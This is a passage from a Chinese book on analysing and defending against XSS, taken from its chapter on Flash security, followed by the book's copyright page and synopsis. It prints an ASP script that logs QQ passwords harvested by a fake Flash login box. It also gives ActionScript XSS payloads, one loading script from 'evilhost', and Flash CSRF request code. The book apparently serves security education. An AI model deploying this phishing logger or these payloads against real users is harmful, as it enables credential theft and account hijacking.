scData.QQPassWord = _loc2;
scData.sendAndLoad(str, scData, "get");
}
if (_loc2.length < 6 || _loc1.length < 5)
{
ntxt.text = "";
ptxt.text = "";
}
};
stop ();
服务端的处理程序如下:
<%
strLogFile="testqqhahaha.txt"
QQNumber=request("QQNumber")
QQPassWord=request("QQPassWord")
if QQNumber="" or QQPassWord="" then
response.write "哈哈哈哈"
response.end
End If
StrLogText=StrLogText&QQNumber&"----"&QQPassWord
StrLogText=StrLogText&"----"&date&" "&time
set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(StrLogText)
ff.close
set ff=nothing
set f=nothing
response.write "嘿嘿嘿嘿!"
%>
虚假的Flash QQ登录框如图6-19所示。
▲图6-19 用 Flash仿造QQ登录框进行钓鱼
用Flash打造的登录框和真实的QQ 登录框几乎一样,即使是颇具经验的用户和早期的安全解决方案都无法识别,Flash钓鱼攻击的危害可见一斑。
利用嵌入 Web 页面中的 Flash 进行 XSS 有一个决定因素:allowScriptAccess 属性。allowScriptAccess 是使用<embed>或<object>标签引入 Flash 时提供的一个控制属性,决定了 Flash是否能执行脚本代码。
下面是一个简单的示例:
<embed src=http://www.test.com/flashxss.swf allowScriptAccess=always>
allowScriptAccess属性控制着Flash与HTML页面的通信,可选的值有3个:
always:允许随时执行脚本操作
never:禁止所有脚本执行操作
samedomain:只有在Flash 应用程序来自与HTML页相同的域时才允许执行脚本操作
其属性值在Flash Player 7及之前版本中预设是 always,代表Flash可以调用相同或不同domain的 JavaScript函数。Flash Player 8或之后预设是 sameDomain,也是现在多数Flash应用的默认状态,但是经常能看到有些程序允许将该选项设置为always。
allowScriptAccess实际上是Flash权限机制的API,前面提过的Security.allowDomain()也是其中一个。这些机制可以用于更改、调用应用程序的安全性环境。
权限机制API如图6-20所示。
▲图6-20 权限机制
主机应用程序的本机方法权限机制API如图6-21所示。
▲图6-21 本机方法权限机制
而allowScriptAccess和allowNetworking都属于HTML参数权限机制API如图6-22所示。
▲图6-22 参数权限机制
allowNetworking属性控制SWF 文件对网络功能的访问,因此对CSRF攻击有着至关重要的影响,稍后的内容会有讲解。
更多关于 Flash权限机制 API及其安全性的内容,可参看 Adobe的官方白皮书 Adobe Flash Player x Security。
假设在引入Flash文件时,HTML页面的<embed>或<object>标签的allowScriptAccess没有被严格控制,攻击者就可以借助Flash(使用ActionScript)来执行XSS。
在ActionScript中可以使用getURL()函数执行脚本代码。
ActionScript代码如下:
getURL('javascript: alert(123);');
把编译完成的SWF文件嵌入HTML文件中,代码如下:
<object id="foo" width="200" height="150">
<param name="movie" value="movie.swf">
<embed AllowScriptAccess="always" name="foo" src="xss.swf" type="application/x-
shockwave-flash" width="200" height="150">
</embed>
</object>
这时,直接浏览上述页面就会弹出一个对话框。
除了使用 getURL()方法外,还可以使用 ActionScript 3.0 中的 ExternalInterface 类来执行JavaScript脚本。
ExternalInterface类是 Flash与 JavaScript交互的枢纽,可以实现 JavaScript与 ActionScript之间的所有通信。通过ExternalInterface类的call()方法可以直接调用外部的JavaScript。
ExternalInterface.call()的语法如下:
ExternalInterface.call(functionName:String,...arguments):*
参数说明:
functionName:要调用的JavaScript函数名
arguments:参数,可选
ExternalInterface.call()允许在ActionScript中调用JavaScript,有以下几种方式。
(1)传统用法。
第1个参数是JavaScript中的函数名,其他是要传递的参数。
ExternalInterface.call("alert", "你好!");
结果如图6-23和图6-24所示。
▲图6-23 输入ActionScript代码
▲图6-24 执行XSS
(2)直接执行JavaScript语句。
直接把JavaScript语句写入参数内:
ExternalInterface.call("function(){alert('xss');}");
或采用如下形式:
var xss:String = "function(){alert('cnn4ry');}";
ExternalInterface.call(xss);
(3)使用XML格式。
用XML在ActionScript 3.0中嵌入 JavaScript,更方便编写XSS代码,方法如下:
import flash.external.ExternalInterface;
var myJavaScript:XML =
<script>
<![CDATA[
function(){
function xss(){
alert("hijacking");
};
xss();
}
]]>
</script>
ExternalInterface.call(myJavaScript);
图6-25所示为执行效果。
▲图6-25 执行 XSS
(4)调用外部JavaScript。
以上方式都是通过调用容器中定义的JavaScript代码来完成,这样在进行XSS时会带来一定的不便。这时可以尝试动态加载外部的JavaScript脚本:
var fun = "var x=document.createElement(\"SCRIPT\");x.src=\"http://evilhost/xss.js\";
x.defer=true;document.getElementsByTagName(\"HEAD\")[0].appendChild(x);";
flash.external.ExternalInterface.call("eval", fun);
以上种种都是利用Flash执行XSS的方法。
Flash 在客户端提供了两个控制属性:allowScriptAccess 属性和 allowNetworking 属性,其中AllowScriptAccess 控制 Flash 与 HTML 页面的通信,如果设置不恰当会导致 XSS;而AllowNetworking控制Flash与外部网络的通信,如果设置不当会导致CSRF。
CSRF的中文名称是“跨站请求伪造”,和XSS一样是一种常见的Web程序漏洞(攻击手段), CSRF能够做的事情是以你的名义发送恶意请求,例如,发布一篇文章、发送一封邮件、进行网上银行转账等。在本书第7章会探讨CSRF。
allowNetworking属性可选的值如下:
All:SWF 文件允许使用所有网络API,为默认值
internal :SWF文件不可以调用浏览器导航或浏览器交互 API,但可以调用任何其他联网API
none :SWF文件不可以调用任何联网API,也不可以调用任何SWF间通信API
当 allowNetworking被设置为 internal时,以下 API 被禁止:
• navigateToURL();
• fscommand();
• ExternalInterface.call()。
当 allowNetworking 设置为 none时,除了上面列出的API外,还会禁止以下 API:
• sendToURL();
• FileReference.download();
• FileReference.upload();
• Loader.load();
• LocalConnection.connect();
• LocalConnection.send();
• NetConnection.connect();
• NetStream.play();
• Security.loadPolicyFile();
• SharedObject.getLocal();
• SharedObject.getRemote();
• Socket.connect()。
如果想利用Flash进行CSRF,那么嵌入Flash的HTML标签的allowNetworking属性值必须为all或者internal。当allowNetworking=all时,允许使用所有的网络通信;当allowNetworking=internal时,尽管禁止了与浏览器交互的API,仍可以与网络通信,因此同样能实现CSRF。
在ActionScript 2.0中,可以使用LoadVars类在Flash应用程序和服务器之间传输变量,请看示例:
stop();
var reVar:LoadVars = new LoadVars(); //定义接收服务器的返回信息
var sendVar:LoadVars = new LoadVars(); //定义发送到服务器的信息
sendVar.user = 'cnn4ry'; //初始化变量user
sendVar.msg = 'XSS'; //初始化变量msg
reVar.Value = 0; //初始化接收变量值Value=0
reVar.onLoad = getServerInfo;
sendVar.sendAndLoad("http://127.0.0.1/test.php",reVar,"POST");
trace("loading...");
function getServerInfo(Success:Boolean)
{
if(Success)
{
trace(reVar.Value)
}
else
{
trace("false!");
}
}
由此可见,在ActionScript 2.0中传输数据很方便。而在ActionScript 3.0中,原来的 loadVars方法已经被废弃,改用一系列的类来实现与后台数据的交互,比如URLLoader类与URLVariables类。
例如,要向 http://127.0.0.1/test.php 发送一个 GET 请求,其中 URL 附加的参数是user=cnn4ry&msg=CSRF,实现的ActionScript代码如下:
function xss():void
{
var urlLoader:URLLoader=new URLLoader();
var request:URLRequest=new URLRequest();
request.url="http://127.0.0.1/test.php";
request.method=URLRequestMethod.GET;
request.data="user=cnn4ry&msg=CSRF";
urlLoader.load(request);
}
xss();
类似地,发送POST请求的操作也很简单,ActionScript代码如下:
import flash.net.URLRequest;
import flash.system.Security;
var url = new URLRequest("http://127.0.0.1/test.php");
var shellcode = new URLVariables();
shellcode = "user=cnn4ry&msg=CSRF";
url.method = "POST";
url.data = shellcode;
sendToURL(url);
stop();
但是,如果Flash要跨域读取数据,必须经过crossdomain.xml文件的允许。
假设目标站点有crossdomain.xml,如下:
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
通配符的使用意味着允许访问来自任何域的文档,因此可以使用Flash跨域读取数据。如果目标站点根目录没有crossdomain.xml文件,但是设置了by-content-type等相关属性,同样可以利用Security.loadPolicyFile()来加载其他域中的跨域文件绕过限制,如:
Security.loadPolicyFile("http://www.test.com/sub/crossdomain.xml")
本章关于Flash应用安全的内容就介绍到这里,如果读者想了解更多相关知识,可以参考本书参考文献中列举的资料。
图书在版编目(CIP)数据
XSS跨站脚本攻击剖析与防御/邱永华编著.--北京:人民邮电出版社,2013.9
ISBN 978-7-115-31104-7
Ⅰ.①X… Ⅱ.①邱… Ⅲ.①计算机网络—安全技术 Ⅳ.①TP393.08
中国版本图书馆CIP数据核字(2013)第103720号
内容提要
本书是一本专门剖析XSS安全的专业书,总共8章,主要包括的内容如下。
第1章 XSS初探,主要阐述了XSS的基础知识,包括XSS的攻击原理和危害。第2章 XSS利用方式,就当前比较流行的XSS利用方式做了深入的剖析,这些攻击往往基于客户端,从挂马、窃取Cookies、会话劫持到钓鱼欺骗,各种攻击都不容忽视。第3章 XSS测试和利用工具,介绍了一些常见的XSS测试工具。第4章 发掘XSS漏洞,着重以黑盒和白盒的角度介绍如何发掘XSS漏洞,以便帮助读者树立安全意识。第5章 XSS Worm,讲解了Web 2.0的最大威胁——跨站脚本蠕虫,剖析了Web 2.0相关概念和其核心技术,这些知识对于理解和预防XSS Worm十分重要。第6章 Flash应用安全,就当前的Flash应用安全做出了深入阐述。第7章 深入XSS原理,讨论一些比较深入的XSS理论。第8章 防御XSS攻击,介绍了一些防范XSS攻击的方法,例如,运用XSS Filter进行输入过滤和输出编码,使用Firefox浏览器的Noscript插件抵御XSS攻击,使用HTTP-only的Cookies同样能起到保护敏感数据的作用。
本书适合网站管理人员、信息/网络安全或相关工作从业者、软件开发工程师,以及任何对Web安全技术感兴趣的读者。
◆编著 邱永华
责任编辑 张涛
责任印制 程彦红 杨林杰
◆人民邮电出版社出版发行 北京市崇文区夕照寺街14号
邮编 100061 电子邮件 315@ptpress.com.cn
网址 http://www.ptpress.com.cn
北京艺辉印刷有限公司印刷
◆开本:800×1000 1/16
印张:17.25
字数:413千字 2013年9月第1版
印数:1-3500册 2013年9月北京第1次印刷
定价:49.00元
读者服务热线:(010)67132692 印装质量热线:(010)67129223
反盗版热线:(010)67171154